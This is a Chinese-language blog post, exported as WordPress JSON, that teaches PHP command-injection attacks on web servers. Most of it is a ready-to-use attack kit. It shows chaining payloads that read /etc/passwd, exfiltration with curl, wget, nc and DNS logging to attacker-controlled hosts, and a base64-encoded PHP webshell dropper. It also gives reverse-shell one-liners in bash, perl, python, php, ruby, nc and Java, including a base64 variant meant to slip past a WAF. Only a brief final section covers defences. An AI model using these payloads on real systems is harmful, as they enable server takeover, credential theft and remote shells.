{"id":783,"date":"2025-10-24T14:58:10","date_gmt":"2025-10-24T06:58:10","guid":{"rendered":"https:\/\/www.youvii.site\/?p=783"},"modified":"2025-10-24T15:00:48","modified_gmt":"2025-10-24T07:00:48","slug":"minglingzhixingloudong","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/minglingzhixingloudong","title":{"rendered":"\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e"},"content":{"rendered":"

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/h1>\n

\u6982\u8ff0<\/h1>\n

\u7a0b\u5e8f\u5458\u4f7f\u7528\u811a\u672c\u8bed\u8a00(\u6bd4\u5982 PHP)\u5f00\u53d1\u5e94\u7528\u7a0b\u5e8f\u8fc7\u7a0b\u4e2d\uff0c\u811a\u672c\u8bed\u8a00\u5f00\u53d1\u5341\u5206\u5feb\u901f\u3001\u7b80\u6d01\uff0c\u65b9\u4fbf\uff0c\u4f46\u662f\u4e5f\u4f34\u968f\u7740\u4e00\u4e9b\u95ee\u9898\u3002\u6bd4\u5982\u8bf4\u901f\u5ea6\u6162\uff0c\u6216\u8005\u65e0\u6cd5\u63a5\u89e6\u7cfb\u7edf\u5e95\u5c42\uff0c\u5982\u679c\u6211\u4eec\u5f00\u53d1\u7684\u5e94\u7528,\u7279\u522b\u662f\u4f01\u4e1a\u7ea7\u7684\u4e00\u4e9b\u5e94\u7528\u9700\u8981\u53bb\u8c03\u7528\u4e00\u4e9b\u5916\u90e8\u7a0b\u5e8f\u3002\u5f53\u5e94\u7528\u9700\u8981\u8c03\u7528\u4e00\u4e9b\u5916\u90e8\u7a0b\u5e8f\u65f6\u5c31\u4f1a\u7528\u5230\u4e00\u4e9b\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u51fd\u6570\u3002\u5e94\u7528\u5728\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u5982\u679c\u5c06\u7528\u6237\u7684\u8f93\u5165\u4f5c\u4e3a\u7cfb\u7edf\u547d\u4ee4\u7684\u53c2\u6570\u62fc\u63a5\u5230\u547d\u4ee4\u884c\u4e2d\uff0c\u5728\u6ca1\u6709\u8fc7\u6ee4\u7528\u6237\u7684\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u5c31\u4f1a\u9020\u6210\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/p>\n

\u76f8\u5173\u51fd\u6570<\/p>\n

\u5728 PHP \u4e2d\u53ef\u4ee5\u8c03\u7528\u5916\u90e8\u7a0b\u5e8f\u7684\u5e38\u89c1\u51fd\u6570\uff1a<\/p>\n

system(args) \u6709\u56de\u663e<\/p>\n

passthru(args)(\u6709\u56de\u663e)<\/p>\n

exec(args) \uff08\u56de\u663e\u6700\u540e\u4e00\u884c-\u5fc5\u987b echo \u8f93\u51fa\uff09<\/p>\n

shell_exec(args) \uff08\u65e0\u56de\u663e-\u5fc5\u987b\u8f93\u51fa\uff09<\/p>\n

\u53cd\u5f15\u53f7\uff1a“<\/p>\n

popen(handle,mode)(\u65e0\u56de\u663e)<\/p>\n

proc_open(‘cmd’,’flag’,’flag’)\uff08\u65e0\u56de\u663e\uff09<\/p>\n

$process = proc_open(‘dir’,$des,$pipes);<\/p>\n

echo stream_get_contents($pipes[1]);<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5371\u5bb3<\/h2>\n

\u7ee7\u627f Web \u670d\u52a1\u5668\u7a0b\u5e8f\u7684\u6743\u9650\uff0c\u53bb\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n

\u7ee7\u627f Web \u670d\u52a1\u5668\u7a0b\u5e8f\u7684\u6743\u9650\uff0c\u8bfb\u5199\u6587\u4ef6<\/p>\n

\u53cd\u5f39 shell<\/p>\n

\u63a7\u5236\u6574\u4e2a\u7f51\u7ad9<\/p>\n

\u751a\u81f3\u63a7\u5236\u6574\u4e2a\u670d\u52a1\u5668<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5206\u6790<\/h2>\n

\u4ece\u4ee3\u7801\u4e2d\uff0cipaddress \u53c2\u6570\u662f\u5916\u90e8\u53ef\u4ee5\u63a7\u5236\u7684\uff0c\u7ecf\u8fc7 explode \u62c6\u5206\uff0c\u518d\u5224\u65ad\u7c7b\u578b\uff0c\u518d\u4f7f\u7528 shell_exec \u51fd\u6570\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\uff0c\u6240\u4ee5\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/p>\n

\"1746408808130-a32fb928-553e-4820-8677-c3160ae67493.png\"<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u653b\u51fb<\/h2>\n

;\uff08\u5206\u53f7\uff09<\/h3>\n

\u547d\u4ee4\u6309\u7167\u987a\u5e8f\uff08\u4ece\u5de6\u5230\u53f3\uff09\u88ab\u6267\u884c\uff0c\u5e76\u4e14\u53ef\u4ee5\u7528\u5206\u53f7\u8fdb\u884c\u5206\u9694\u3002\u5f53\u6709\u4e00\u6761\u547d\u4ee4\u6267\u884c\u5931\u8d25\u65f6\uff0c\u4e0d\u4f1a\u4e2d\u65ad\u5176\u5b83<\/p>\n

\u547d\u4ee4\u7684\u6267\u884c\u3002<\/p>\n

ping -c 1 127.0.0.1;whoami<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528&&\u6216\u8005|\u548c\u7ba1\u9053\u547d\u4ee4\u6267\u884c\u5176\u4ed6\u547d\u4ee4<\/p>\n

\u547d\u4ee4\u94fe\u63a5\u7b26\u53f7\u89e3\u6790<\/p>\n

| (\u7ba1\u9053\u7b26\u53f7)<\/h3>\n

\u901a\u8fc7\u7ba1\u7406\u7b26 \u53ef\u4ee5\u5c06\u4e00\u4e2a\u547d\u4ee4\u7684\u6807\u51c6\u8f93\u51fa\u7ba1\u7406\u4e3a\u53e6\u5916\u4e00\u4e2a\u547d\u4ee4\u7684\u6807\u51c6\u8f93\u5165\uff0c\u5f53\u5b83\u5931\u8d25\u540e\uff0c\u4f1a\u6267\u884c\u53e6\u5916\u4e00\u6761\u547d\u4ee4<\/p>\n

ping -c 1 127.0.0.1|whoami<\/p>\n

&(\u540e\u53f0\u4efb\u52a1\u7b26\u53f7)<\/h3>\n

\u547d\u4ee4\u6309\u7167\u987a\u5e8f\uff08\u4ece\u5de6\u5230\u53f3\uff09\u88ab\u6267\u884c\uff0c\u8ddf\u5206\u53f7\u4f5c\u7528\u4e00\u6837\uff1b\u6b64\u7b26\u53f7\u4f5c\u7528\u662f\u540e\u53f0\u4efb\u52a1\u7b26\u53f7\u4f7f shell \u5728\u540e\u53f0\u6267\u884c\u8be5\u4efb\u52a1\uff0c\u8fd9\u6837\u7528\u6237\u5c31\u53ef\u4ee5\u7acb\u5373\u5f97\u5230\u4e00\u4e2a\u63d0\u793a\u7b26\u5e76\u7ee7\u7eed\u5176\u4ed6\u5de5\u4f5c<\/p>\n

ping -c 4 127.0.0.1&cat \/etc\/passwd&<\/p>\n

\"1746408934358-70d296fd-9cdc-4a35-9427-e68ee33087d6.png\"<\/p>\n

&&\uff08\u903b\u8f91\u4e0e\uff09<\/h3>\n

\u524d\u540e\u7684\u547d\u4ee4\u7684\u6267\u884c\u5b58\u5728\u903b\u8f91\u4e0e\u5173\u7cfb\uff0c\u53ea\u6709\u3010&&\u3011\u524d\u9762\u7684\u547d\u4ee4\u6267\u884c\u6210\u529f\u540e\uff0c\u5b83\u540e\u9762\u7684\u547d\u4ee4\u624d\u88ab\u6267\u884c<\/p>\n

ping -c 4 127.0.0.1&&whoami<\/p>\n

\"1746408962770-fe3d97b0-78dd-4d9d-abd6-725e8f17844c.png\"<\/p>\n

||\uff08\u903b\u8f91\u6216\uff09<\/h3>\n

\u524d\u540e\u547d\u4ee4\u7684\u6267\u884c\u5b58\u5728\u903b\u8f91\u6216\u5173\u7cfb\uff0c\u53ea\u6709\u3010||\u3011\u524d\u9762\u7684\u547d\u4ee4\u6267\u884c\u5931\u8d25\u540e\uff0c\u5b83\u540e\u9762\u7684\u547d\u4ee4\u624d\u88ab\u6267\u884c\uff1b<\/p>\n

ping -c ||whoami<\/p>\n

\"1746408987800-87f800f3-9599-4f7b-a871-9b7bd95bcc11.png\"<\/p>\n

`\uff08\u53cd\u5f15\u53f7\uff09<\/h3>\n

\u5f53\u4e00\u4e2a\u547d\u4ee4\u88ab\u89e3\u6790\u65f6\uff0c\u5b83\u9996\u5148\u4f1a\u6267\u884c\u53cd\u5f15\u53f7\u4e4b\u95f4\u7684\u64cd\u4f5c\u3002\u4f8b\u5982\u6267\u884c echo ls -a<\/code> \u5c06\u4f1a\u9996\u5148\u6267\u884c ls \u5e76\u6355\u83b7\u5176\u8f93\u51fa\u4fe1\u606f\u3002\u7136\u540e\u518d\u5c06\u5b83\u4f20\u9012\u7ed9 echo\uff0c\u5e76\u5c06 ls \u7684\u8f93\u51fa\u7ed3\u679c\u6253\u5370\u5728\u5c4f\u5e55\u4e0a\uff0c\u8fd9\u88ab\u79f0\u4e3a\u547d\u4ee4\u66ff\u6362<\/p>\n

echo whoami<\/code><\/p>\n

$(command) \u547d\u4ee4\u6267\u884c<\/h3>\n

\u8fd9\u662f\u547d\u4ee4\u66ff\u6362\u7684\u4e0d\u540c\u7b26\u53f7\u3002\u5f53\u53cd\u5f15\u53f7\u88ab\u8fc7\u6ee4\u6216\u7f16\u7801\u65f6\uff0c\u53ef\u80fd\u4f1a\u66f4\u6709\u6548\u3002<\/p>\n

ping -c 4 127.0.0.1 $(whoami)<\/p>\n

\"1746409028477-93d8003e-5fab-4d6f-99b9-2bc75084c787.png\"<\/p>\n

win \u547d\u4ee4\u94fe\u63a5\u7b26<\/h3>\n

| & || && \u8ddf linux \u4e00\u6837<\/p>\n

\u6709\u56de\u663e\u7684<\/p>\n

\u53d1\u73b0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u5982\u679c\u662f\u56de\u663e\u7684\u60c5\u51b5\u4e0b\uff0c\u83b7\u53d6\u7cfb\u7edf\u654f\u611f\u4fe1\u606f\u3002<\/p>\n

win \u64cd\u4f5c\u7cfb\u7edf<\/p>\n

type c:windowswin.ini<\/p>\n

linux \u64cd\u4f5c\u7cfb\u7edf<\/p>\n

cat \/etc\/passwd<\/p>\n

\u65e0\u56de\u663e<\/p>\n

\u6709\u56de\u663e\u7684\u60c5\u51b5\u4e0b\u76f8\u5bf9\u4ea4\u5c11\uff0c\u4e00\u822c\u5728\u5b9e\u6218\u73af\u5883\u73af\u5883\u4e2d\uff0c\u65e0\u56de\u663e\u7684\u73af\u5883\u8f83\u591a\uff0c\u8bc1\u660e\u6f0f\u6d1e\u5b58\u5728\u5c31\u9700\u8981\u5404\u79cd\u5229\u7528\u5916<\/p>\n

\u901a\u4fe1\u6280\u5de7<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5916\u901a\u4fe1\u6280\u5de7<\/h2>\n

\u5229\u7528\u7ba1\u9053\u7b26\u53f7\u5199\u5165 SHELL<\/p>\n

\u5982\u679c\u5b58\u5728\u6f0f\u6d1e\u7684\u9875\u9762\u6709 web \u670d\u52a1\u5668\uff0c\u6709\u6743\u9650\u5199\u5165\uff0c\u5229\u7528 shell \u547d\u4ee4\u5199\u5165 webshell \u540e\u95e8\u5230\u7f51\u7ad9\u76ee\u5f55\uff0c\u8bbf\u95ee\u5373\u53ef\u83b7\u53d6 webshell<\/p>\n

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk\/Pg=="|base64 -d >shell.php<\/p>\n

\"1746409116390-22ef5019-c2e0-4900-83f0-a4ca7874bea5.png\"<\/p>\n

\u5e26\u5916\u901a\u4fe1\u6280\u5de7\u4e00\u822c\u90fd\u662f\u65e0\u56de\u663e\u7684\u60c5\u51b5\u4f7f\u7528<\/p>\n

dnslog<\/p>\n

dnslog \u662f\u4e00\u4e2a\u663e\u793a\u89e3\u6790\u8bb0\u5f55\u7684\u5e73\u53f0\uff0c\u5728\u65e0\u56de\u663e\u7684\u60c5\u51b5\u4e0b\uff0c\u901a\u8fc7\u8bbf\u95ee dnslog\uff0cdnslog \u4f1a\u628a\u4f60\u8bbf\u95ee\u7684\u5b50\u57df\u540d\u7684\u5934\u6587\u4ef6\u8bb0\u5f55\u4e0b\u6765<\/p>\n

\"1746409134726-1a570759-4465-4731-8aa6-562ad88dbe28.png\"<\/p>\n

\u4f7f\u7528\u53cd\u5f15\u53f7whoami<\/code>\u5f97\u5230\u7684\u7528\u6237\u540d\u518d\uff0c\u5b50\u57df\u540d\uff0c\u518d\u4f7f\u7528 icmp \u534f\u8bae\u8bbf\u95ee ping \u57df\u540d<\/p>\n

ping -c 4 127.0.0.1| ping whoami<\/code>.3el05z.dnslog.cn<\/p>\n

\"1746409147726-2552e157-a270-4f27-8bf8-8601fc06c2d9.png\"<\/p>\n

\u5982\u679c\u5b58\u5728\u6f0f\u6d1e\u5f97\u60c5\u51b5\u4e0b getsubdomin \u5c31\u4f1a\u5f97\u5230\u56de\u663e\u5f97\u4fe1\u606f<\/p>\n

\"1746409159950-65960473-26c0-406e-a996-1569fcf3ef82.png\"<\/p>\n

burpsuite burpcollaborator \u6d4b\u8bd5\u65e0\u56de\u663e<\/p>\n

\u6d4b\u8bd5\u7684\u539f\u7406\u548c dnslog \u4e00\u6837<\/p>\n

\u4f7f\u7528 burpsuite \u7684 burpcollaborator \u590d\u5236<\/p>\n

\"1746409183119-f4e982f3-3f54-4f9f-96e8-854e0bc938c7.png\"<\/p>\n

\u70b9\u51fb copyt to clipboard \u590d\u5236\u6d4b\u8bd5\u7684\u5b50\u57df\u540d\u518d\u62fc\u63a5\u5b50\u57df\u540d<\/p>\n

ping -c 4 127.0.0.1| ping whoami<\/code>.xlmiw1sf16svvsbtwr5upgac137tvi.burpcollaborator.net<\/p>\n

\"1746409205070-f6b1d37d-cc0d-47e0-a595-94b556467a4c.png\"<\/p>\n

Poll now \u662f\u5237\u65b0\u9891\u7387\uff0c\u5982\u679c\u6709\u8bbf\u95ee\u8bb0\u5f55\uff0c\u4f1a\u81ea\u52a8\u628a\u8bf7\u6c42\u8bb0\u5f55\u4e0b\u6765\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u80fd\u770b\u5230\u56de\u663e\u7684\u5b57\u7b26<\/p>\n

\u5229\u7528\u65e5\u5fd7\u6d4b\u8bd5\u65e0\u56de\u663e<\/h3>\n

\u5229\u7528 HTTP \u534f\u8bae\uff0c\u8bbf\u95ee WEB \u4e2d\u95f4\u4ef6\u65f6\uff0ciis \u6216\u8005 apache \u6216\u8005\u5c0f\u578b\u670d\u52a1\uff0c\u90fd\u5b58\u5728\u8bbf\u95ee\u65e5\u5fd7\u3002\u5728 kali \u4e0a\u5f00\u542f python\u7684\u5c0f\u578b\u670d\u52a1\u5668\u3002\u518d\u7528 curl \u534f\u8bae\u8bbf\u95ee\u8fdc\u7a0b\u670d\u52a1\u5668 ip \u7684 80 \u7aef\u53e3\uff0c\u518d\u5230 kali \u7684\u7ec8\u7aef\u67e5\u770b\u8bb0\u5f55\u5373\u53ef<\/p>\n

\u4f7f\u7528 curl \u547d\u4ee4<\/p>\n

ping -c 4 ||curl http:\/\/192.168.0.133\/?`whoami<\/a>`<\/p>\n

\u4f7f\u7528 wget \u547d\u4ee4<\/p>\n

ping -c 4 ||wget http:\/\/192.168.0.133\/?`whoami<\/a>`<\/p>\n

\"1746409249156-02b4e645-83e0-4c5c-8ccb-25b008edc5a0.png\"<\/p>\n

netcat<\/p>\n

\u5982\u679c\u76ee\u6807\u7cfb\u7edf\u5b58\u5728\u6709 netcat \u5728 ubuntu \u7cfb\u7edf\u90fd\u4f1a\u5b58\u5728\u7684\u3002\u4f7f\u7528\u547d\u4ee4\u8bfb\u53d6\u6587\u4ef6\u4f20\u9012\u5230\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a<\/p>\n

\u8fdc\u7a0b\u670d\u52a1\u5668\u76d1\u542c\u547d\u4ee4<\/p>\n

nc -lp 9999 >passwd<\/p>\n

\u672c\u5730\u6267\u884c\u547d\u4ee4<\/p>\n

nc 192.168.0.133 9999 <\/etc\/passwd<\/p>\n

\u4f1a\u5728\u67e5\u770b\u8fdc\u7a0b\u670d\u52a1\u5668\u751f\u6210 passwd \u6587\u4ef6<\/p>\n

\"1746409278782-2e7f6ed0-663a-4be1-b6f3-28743d6e79e2.png\"<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e nc \u53cd\u5f39 shell<\/h2>\n

\u5728\u6267\u884c\u547d\u4ee4\u6f0f\u6d1e\uff0c\u4e00\u822c\u7684\u5229\u7528\u65b9\u5f0f\u662f\u6267\u884c\u53cd\u5f39 shell\uff0c\u518d\u8fdb\u884c\u5176\u4ed6\u7684\u64cd\u4f5c\u3002\u6267\u884c\u53cd\u5f39 shell \u7684\u547d\u4ee4\u6709\u8bb8\u591a<\/p>\n

\u53cd\u5f39 shell \u56e0\u4e3a\u662f\u4ece\u53d7\u5bb3\u8005\uff0c\u53cd\u5411\u8fde\u63a5\u8fdc\u7a0b\u670d\u52a1\u5668\uff0c\u8bf7\u6c42\u662f\u4ece\u5185\u90e8\u5230\u5916\u90e8\uff0c\u6240\u4ee5\u9632\u706b\u5899\u9632\u706b\u5899\u662f\u4e0d\u4f1a\u8fdb\u884c\u62e6\u622a<\/p>\n

\u8fdc\u7a0b\u670d\u52a1\u5668 nc \u76d1\u542c\u547d\u4ee4<\/p>\n

nc -vlnp 8080<\/p>\n

\u53d7\u5bb3\u8005\u53cd\u5f39 shell \u547d\u4ee4\uff0c\u6bcf\u79cd\u8bed\u8a00\u90fd\u6709 sock \u8fde\u63a5\u547d\u4ee4\uff0c\u53ef\u4ee5\u6839\u636e\u4e0d\u901a\u8fc7\u7684\u73af\u5883\uff0c\u9009\u62e9\u5408\u9002\u7684\u547d\u4ee4<\/p>\n

bash -i >& \/dev\/tcp\/10.0.0.1\/8080 0>&1<\/p>\n

perl -e ‘use<\/p>\n

Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("\/bin\/sh -i");};’<\/p>\n

python -c ‘import<\/p>\n

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\/bin\/sh","-i"]);’<\/p>\n

php -r ‘$sock=fsockopen("10.0.0.1",1234);exec("\/bin\/sh -i <&3 >&3 2>&3");’<\/p>\n

ruby -rsocket -e’f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("\/bin\/sh -i <&%d >&%d2>&%d",f,f,f)’<\/p>\n

nc -e \/bin\/sh 10.0.0.1 1234<\/p>\n

rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 10.0.0.1 1234 >\/tmp\/f<\/p>\n

r = Runtime.getRuntime()<\/p>\n

p = r.exec(["\/bin\/bash","-c","exec 5<>\/dev\/tcp\/10.0.0.1\/2002;cat <&5 | while read line; do $line<\/p>\n

2>&5 >&5; done"] as String[])<\/p>\n

p.waitFor()<\/p>\n

\u5982\u679c\u6709 waf \u8fdb\u884c\u8fde\u63a5\uff0c\u53ef\u4ee5\u628a\u8bed\u53e5\u8fdb\u884c base64 \u52a0\u5bc6\u540e\uff0c\u56e0\u4e3a\u52a0\u5bc6\u540e\u7684\u5b57\u7b26\u4e32\u6ca1\u6709\u89e6\u53d1\u62e6\u622a\u89c4\u5219\uff0c\u518d\u5229\u7528<\/p>\n

shell \u547d\u4ee4\u518d\u8fdb\u884c\u89e3\u7801<\/p>\n

bash -i >& \/dev\/tcp\/192.168.0.103\/8080 0>&1<\/p>\n

base64 \u7f16\u7801\u540e YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==<\/p>\n

\u53d7\u5bb3\u8005\u6267\u884c<\/p>\n

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash<\/p>\n

\u8fdc\u7a0b\u670d\u52a1\u5668\u76d1\u542c<\/p>\n

\"1746409447587-1d16a125-b1c3-44fe-996c-5b2f843824f3.png\"<\/p>\n

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u9632\u5fa1<\/h2>\n

\u4e0d\u6267\u884c\u5916\u90e8\u7684\u5e94\u7528\u7a0b\u5e8f\u6216\u547d\u4ee4<\/p>\n

\u5c3d\u91cf\u4f7f\u7528\u81ea\u5b9a\u4e49\u51fd\u6570\u6216\u51fd\u6570\u5e93\u5b9e\u73b0\u5916\u90e8\u5e94\u7528\u7a0b\u5e8f\u6216\u547d\u4ee4\u7684\u529f\u80fd\u3002\u5728\u6267\u884c system\u3001eval \u7b49\u547d\u4ee4\u6267\u884c\u529f\u80fd\u7684\u51fd\u6570\u524d\uff0c\u8981\u786e\u8ba4\u53c2\u6570\u5185\u5bb9\u3002<\/p>\n

\u4f7f\u7528 escapeshellarg \u51fd\u6570\u5904\u7406\u76f8\u5173\u53c2\u6570<\/p>\n

escapeshellarg \u51fd\u6570\u4f1a\u5c06\u7528\u6237\u5f15\u8d77\u53c2\u6570\u6216\u547d\u4ee4\u7ed3\u675f\u7684\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49\uff0c\u5982\u5355\u5f15\u53f7\u201c\u2019\u201d\u4f1a\u88ab\u8f6c\u4e49\u4e3a\u201c\u2019\u201d\uff0c\u53cc\u5f15\u53f7\u201c"\u201d\u4f1a\u88ab\u8f6c\u4e49\u4e3a\u201c"\u201d\uff0c\u5206\u53f7\u201c;\u201d\u4f1a\u88ab\u8f6c\u4e49\u4e3a\u201c;\u201d\uff0c\u8fd9\u6837 escapeshellarg \u4f1a\u5c06\u53c2\u6570\u5185\u5bb9\u9650\u5236\u5728\u4e00\u5bf9\u5355\u5f15\u53f7\u6216\u53cc\u5f15\u53f7\u91cc\u9762\uff0c\u8f6c\u4e49\u53c2\u6570\u4e2d\u5305\u62ec\u7684\u5355\u5f15\u53f7\u6216\u53cc\u5f15\u53f7\uff0c\u4f7f\u5176\u65e0\u6cd5\u5bf9\u5f53\u524d\u6267\u884c\u8fdb\u884c\u622a\u65ad\uff0c\u5b9e\u73b0\u9632\u8303\u547d\u4ee4\u6ce8\u5165\u653b\u51fb\u7684\u76ee\u7684\u3002<\/p>\n

\u4f7f\u7528 safe_mode_exec_dir \u6267\u884c\u53ef\u6267\u884c\u7684\u6587\u4ef6\u8def\u5f84<\/p>\n

\u5c06 php.ini \u6587\u4ef6\u4e2d\u7684 safe_mode \u8bbe\u7f6e\u4e3a On\uff0c\u7136\u540e\u5c06\u5141\u8bb8\u6267\u884c\u7684\u6587\u4ef6\u653e\u5165\u4e00\u4e2a\u76ee\u5f55\uff0c\u5e76\u4f7f\u7528safe_mode_exec_dir \u6307\u5b9a\u8fd9\u4e2a\u53ef\u6267\u884c\u7684\u6587\u4ef6\u8def\u5f84\u3002\u8fd9\u6837\uff0c\u5728\u9700\u8981\u6267\u884c\u76f8\u5e94\u7684\u5916\u90e8\u7a0b\u5e8f\u65f6\uff0c\u7a0b\u5e8f\u5fc5\u987b\u5728safe_mode_exec_dir \u6307\u5b9a\u7684\u76ee\u5f55\u4e2d\u624d\u4f1a\u5141\u8bb8\u6267\u884c\uff0c\u5426\u5219\u6267\u884c\u5c06\u5931\u8d25<\/p>\n

\n

\u66f4\u65b0: 2025-05-05 09:44:56
\n\u539f\u6587: https:\/\/www.yuque.com\/yuhui.net\/network\/zkh5ixpfzwm47gme<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"

\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e \u6982\u8ff0 \u7a0b\u5e8f\u5458\u4f7f\u7528\u811a\u672c\u8bed\u8a00(\u6bd4\u5982 PHP)\u5f00\u53d1\u5e94\u7528\u7a0b\u5e8f\u8fc7\u7a0b\u4e2d\uff0c\u811a\u672c\u8bed\u8a00\u5f00\u53d1\u5341\u5206\u5feb\u901f\u3001\u7b80\u6d01\uff0c\u65b9\u4fbf\uff0c\u4f46\u662f\u4e5f\u4f34\u968f\u7740\u4e00\u4e9b\u95ee\u9898\u3002\u6bd4\u5982\u8bf4\u901f\u5ea6\u6162\uff0c\u6216\u8005\u65e0\u6cd5\u63a5\u89e6\u7cfb\u7edf\u5e95\u5c42\uff0c\u5982\u679c\u6211\u4eec\u5f00\u53d1\u7684\u5e94\u7528,\u7279\u522b\u662f\u4f01\u4e1a\u7ea7\u7684\u4e00\u4e9b\u5e94\u7528\u9700\u8981\u53bb\u8c03\u7528\u4e00\u4e9b\u5916\u90e8\u7a0b\u5e8f\u3002\u5f53\u5e94\u7528\u9700\u8981\u8c03\u7528\u4e00\u4e9b\u5916\u90e8\u7a0b\u5e8f\u65f6\u5c31\u4f1a\u7528\u5230\u4e00\u4e9b\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u51fd\u6570\u3002\u5e94\u7528\u5728\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u5982\u679c\u5c06\u7528\u6237\u7684\u8f93\u5165\u4f5c\u4e3a\u7cfb\u7edf\u547d\u4ee4\u7684\u53c2\u6570\u62fc\u63a5\u5230\u547d\u4ee4\u884c\u4e2d\uff0c\u5728\u6ca1\u6709\u8fc7\u6ee4\u7528\u6237\u7684\u8f93\u5165 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,120,2],"tags":[12,22,28,57,93],"class_list":["post-783","post","type-post","status-publish","format-standard","hentry","category-shentouceshijichu-network_sec","category-loudongleibie","category-network_sec","tag-12","tag-windows","tag-kali","tag-python","tag-fanghuoqiang"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/783","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=783"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/783\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=783"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=783"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=783"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}